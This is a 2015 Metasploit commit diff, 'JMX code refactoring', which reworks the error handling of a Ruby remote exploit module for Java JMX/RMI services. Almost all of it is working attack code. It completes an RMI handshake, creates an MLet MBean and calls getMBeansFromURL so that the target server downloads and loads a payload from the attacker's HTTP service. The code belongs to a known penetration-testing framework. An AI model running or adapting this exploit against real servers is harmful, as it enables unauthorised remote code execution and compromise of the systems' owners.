JMX code refactoring

This commit is contained in:
jvazquez-r7
2015-03-23 17:06:51 -05:00
parent 6934fde5a1
commit d8d4c23d60
7 changed files with 170 additions and 199 deletions
+86 -111
View File
@@ -8,7 +8,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Jmx
include Msf::Exploit::Remote::HttpServer
include Msf::Java::Rmi::Client
@@ -185,68 +184,51 @@ class Metasploit3 < Msf::Exploit::Remote
return nil
end
print_status("#{ref.inspect}")
ref
end
def handshake(mbean)
ref = send_new_client(
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
)
print_status("#{ref.inspect}")
ref
=begin
case answer
when 'java.lang.SecurityException'
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
return nil
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
vprint_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents))
else
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
begin
ref = send_new_client(
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
return nil
end
print_status("#{conn_stub.inspect}")
conn_stub
=end
ref
end
def load_payload(conn_stub)
vprint_status("#{peer} - Getting JMXPayload instance...")
return_value = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
if return_value.nil?
return false
elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
elsif return_value.is_exception?
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - JMXPayload instance found, using it")
return true
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
return false
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
else
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
return false
end
end
return false if res.nil?
true
end
def load_payload_from_url(conn_stub)
@@ -255,85 +237,78 @@ class Metasploit3 < Msf::Exploit::Remote
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
return_value = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
res = true
when 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
res = nil
else
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
res = nil
end
end
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The request to createMBean failed")
return false
end
if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet created")
else
vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}")
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
return false
end
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
return_value = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The request to GetObjectInstance failed")
return false
elsif return_value.is_exception?
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
return false
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
vprint_good("#{peer} - MLet instance found, using it")
else
vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
end
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
return_value = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
vprint_status("Stopping service...")
stop_service
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
return false
ensure
vprint_status("Stopping service...")
stop_service
end
if return_value.nil?
if res.nil?
vprint_error("#{peer} - The call to getMBeansFromURL failed")
return false
end
answer = extract_object(return_value.value[0])
if answer.nil?
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
return false
end
case answer
when 'java.util.HashSet'
vprint_good("#{peer} - The remote payload has been loaded!")
return true
else
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
return false
end
true
end
end